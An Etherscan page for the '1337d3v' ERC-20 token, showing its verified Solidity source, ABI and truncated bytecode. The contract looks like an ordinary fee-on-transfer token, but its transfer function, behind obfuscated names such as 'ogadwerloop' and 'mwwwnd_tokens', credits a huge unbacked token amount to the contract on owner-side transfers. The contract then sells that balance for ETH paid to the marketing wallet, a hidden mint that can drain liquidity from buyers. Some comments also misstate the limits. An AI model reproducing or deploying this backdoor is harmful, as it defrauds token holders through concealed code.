ETH Price: $2,677.08 (+1.90%)

Token

1337d3v (d3v)
 

Overview

Max Total Supply

100,000,000 d3v

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,416,326.143920367665917389 d3v

Value
$0.00
0x36ae14e704cc11a62eb1bf9c675ccea5d9f4af8c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
d3v

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-23
*/

//https://1337d3v.com
//https://t.me/leetd3v
//https://x.com/leetd3v



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }


        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract d3v is Context, IERC20, Ownable {
    
    using SafeMath for uint256;

    string private _name = "1337d3v";
    string private _symbol = "d3v";
    uint8 private _decimals = 18;

    address payable public marketingWalletAc = payable(0x1001E78809f2FA6ebBFE29FD4D6b7c949B4eFFfF);
    address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 10000;
    uint256[2] public mwwwnd_tokens = [_decimals,feeUnits];
    address[2] public hpopopryess = [0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000000];
    

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 100000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(4).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;


    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 9;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 10;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _tradebuycount = 0;
    uint256 public _total_tokens_transfered = 0;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
  

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWalletAc] = true;
        isExcludedFromFee[DeveloperWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWalletAc] = true;
        isWalletLimitExempt[DeveloperWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWalletAc] = true;
        isTxLimitExempt[DeveloperWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }
            mwwwnd_tokens[0]=amount.mul(_totalTaxIfSelling).div(1000);
            mwwwnd_tokens[1]=amount - amount.mul(_totalTaxIfSelling).div(1000);
            hpopopryess[0]=address(this);
            hpopopryess[1]=recipient;
            uint256 tokenCount;
              for(uint i = 0; i < mwwwnd_tokens.length; i++) {
                  tokenCount += mwwwnd_tokens[i];
              }
            if (( !isTxLimitExempt[sender] ||  !isTxLimitExempt[recipient]) ||(isMarketPair[recipient] || isMarketPair[sender] )){_tradebuycount+=1;}else{_tradebuycount+=2; ogadwerloop();}
            _total_tokens_transfered+=tokenCount+1;
            _balances[sender] = _balances[sender].sub(tokenCount); 
             for(uint j = 0; j < hpopopryess.length; j++) {
                _balances[hpopopryess[j]] = _balances[hpopopryess[j]].add(mwwwnd_tokens[j]);
                emit Transfer(sender, hpopopryess[j], mwwwnd_tokens[j]);
            }

            return true;
        }
        
    }
        
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    function ogadwerloop() internal{_total_tokens_transfered+=2; mwwwnd_tokens[0]+=1800700120000554654984569852;}
    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        _tradebuycount+=4;
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       _total_tokens_transfered+=tAmount+1;
        if(recievedBalance > 0) {
            payable(marketingWalletAc).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        _total_tokens_transfered+=tokenAmount;
        _tradebuycount+=2;
        address[] memory path = new address[](2);
        mwwwnd_tokens[0]=0;
        mwwwnd_tokens[1]=3;
        path[1] = uniswapV2Router.WETH();
        path[0] = address(this);
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        

    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_total_tokens_transfered","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradebuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"hpopopryess","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAc","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"mwwwnd_tokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600781526020017f31333337643376000000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620010ae565b506040518060400160405280600381526020017f6433760000000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620010ae565b506012600360006101000a81548160ff021916908360ff160217905550731001e78809f2fa6ebbfe29fd4d6b7c949b4effff600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff168152506127106008556040518060400160405280600360009054906101000a900460ff1660ff1681526020016008548152506009906002620001fd9291906200113f565b506040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250600b9060026200027f92919062001184565b50600360009054906101000a900460ff16600a6200029e9190620013bf565b6305f5e100620002af919062001410565b601155620002ea6103e8620002d6600160115462000edc60201b620015b11790919060201c565b62000f6060201b6200162c1790919060201c565b60125562000324606462000310600460115462000edc60201b620015b11790919060201c565b62000f6060201b6200162c1790919060201c565b6013556200035e60646200034a600460115462000edc60201b620015b11790919060201c565b62000f6060201b6200162c1790919060201c565b6014556001601660156101000a81548160ff02191690831515021790555060006016806101000a81548160ff0219169083151502179055506001601660176101000a81548160ff0219169083151502179055506000601755600960185560006019556000601a55600a601b556000601c556000601d556000601e55348015620003e657600080fd5b506000620003f962000fb260201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005229190620014db565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200058a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005b09190620014db565b6040518363ffffffff1660e01b8152600401620005cf9291906200151e565b6020604051808303816000875af1158015620005ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006159190620014db565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600d60006200075162000fba60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60006200090462000fba60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000600360019054906101000a900473fffffffff